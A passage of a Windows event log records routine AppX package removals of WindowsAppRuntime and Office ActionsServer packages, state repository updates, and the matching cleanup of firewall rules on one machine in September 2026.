Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.545\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.546\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.546\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.UI.Xaml.2.4_2.42007.9001.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.548\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_88.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.548\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1007.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.549\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.550\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.555\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.570\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.571\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.4_4000.1136.2333.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.578\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.579\t607\tDeployment Remove operation on package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.580\t627\tWindows cannot remove Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.583\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.600\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.602\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1007.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.620\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.621\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.628\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.629\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.630\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.637\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.638\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.644\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.660\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.670\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.673\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.676\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_89.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.677\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.679\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.680\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.681\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_90.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.682\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.685\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_91.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.687\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.690\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_92.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.690\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.691\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.691\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.691\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.692\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.694\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_93.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.695\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.699\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_94.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.699\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1009.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.699\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.701\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.702\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.702\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.703\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.712\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.712\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.719\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.721\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.722\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.730\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.731\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.8_8000.836.2153.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.747\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.749\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.751\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.758\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.758\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.766\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.781\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.782\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.783\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.791\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.792\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.7_7000.785.2325.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.798\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.818\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.819\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1009.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.831\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.841\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.844\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.847\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_95.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.848\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.848\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.849\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.849\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.852\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_96.rslc for Remove Operation on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.853\t607\tDeployment Remove operation on package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.859\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.860\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.868\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.870\t607\tDeployment Remove operation on package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.871\t627\tWindows cannot remove Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe because the current user does not have that package installed. Use Get-AppxPackage to see the list of packages installed.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.881\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.889\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.897\t400\tDeployment DeStage operation with target volume C: on Package Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.899\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.899\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0x0, Set=0x20).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:52.921\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:52.932\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.Office.ActionsServer_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Allow-InternetClient\n\tRule Name:\tMicrosoft.Office.ActionsServer\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:52.933\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.Office.ActionsServer_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Block\n\tRule Name:\tMicrosoft.Office.ActionsServer\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:52.933\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.Office.ActionsServer_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-In-Block\n\tRule Name:\tMicrosoft.Office.ActionsServer\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:52.934\t2052\t\"A rule has been deleted in the Windows Defender Firewall exception list.\n\nDeleted Rule:\n\tRule ID:\tMicrosoft.Office.ActionsServer_8wekyb3d8bbweS-1-5-21-3712849175-2219398513-4278588552-1006-Out-Allow-AllCapabilities\n\tRule Name:\tMicrosoft.Office.ActionsServer\n\tModifying User:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifying Application:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 09:16:53.032\t1024\tPackage Microsoft.Office.ActionsServer_8wekyb3d8bbwe for user S-1-5-21-3712849175-2219398513-4278588552-1006 successfully 